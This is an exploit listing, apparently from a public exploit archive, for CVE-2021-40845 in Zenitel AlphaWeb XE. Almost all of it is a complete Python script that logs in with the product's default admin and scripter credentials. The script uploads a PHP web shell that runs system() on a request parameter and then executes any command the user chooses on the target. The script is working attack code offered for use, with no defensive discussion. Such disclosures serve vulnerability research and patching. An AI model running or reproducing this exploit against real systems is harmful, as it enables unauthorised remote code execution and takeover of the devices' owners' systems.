AlphaWeb XE File Upload Remote Code Execution (Authenticated)

2021.09.15
Risk: High
Local: No
Remote: Yes
CWE: CWE-264

# Exploit Title: AlphaWeb XE - File Upload Remote Code Execution (RCE) (Authenticated) # Date: 09/09/2021 # Exploit Author: Ricardo Ruiz (@ricardojoserf) # Vendor website: https://www.zenitel.com/ # Product website: https://wiki.zenitel.com/wiki/AlphaWeb # Example: python3 CVE-2021-40845.py -u "http://$ip:80/" -c "whoami" # Reference: https://github.com/ricardojoserf/CVE-2021-40845 import requests import base64 import argparse # Default credentials, change them if it is necessary admin_user = "admin" admin_pass = "alphaadmin" scripter_user = "scripter" scripter_pass = "alphascript" def get_args(): parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', required=True, action='store', help='Target url') parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute') my_args = parser.parse_args() return my_args def main(): args = get_args() base_url = args.url url_main = base_url + "/php/index.php" url_upload = base_url + "/php/script_uploads.php" command = args.command uploaded_file = "poc.php" url_cmd = base_url + "/cmd/" + uploaded_file + "?cmd=" + command login_authorization = "Basic " + str(base64.b64encode((admin_user+':'+admin_pass).encode('ascii')).decode('ascii')) upload_authorization = "Basic " + str(base64.b64encode((scripter_user+":"+scripter_pass).encode('ascii')).decode('ascii')) headers_login = { "Authorization": login_authorization, "Cache-Control": "max-age=0" } headers_upload = { 'Authorization': upload_authorization, 'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="92"', 'sec-ch-ua-mobile': '?0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-User': '?1', 'Sec-Fetch-Dest': 'iframe', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-US,en;q=0.9', } files = { "userfile":(uploaded_file, "<?php if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>"), } s = requests.session() # Login as admin s.get(url_main, headers = headers_login) # Upload file upload = s.post(url_upload, files=files, headers = headers_upload) # Execute command cmd = s.post(url_cmd) print(cmd.text.replace("<pre>","").replace("</pre>","")) if __name__ == "__main__": main()


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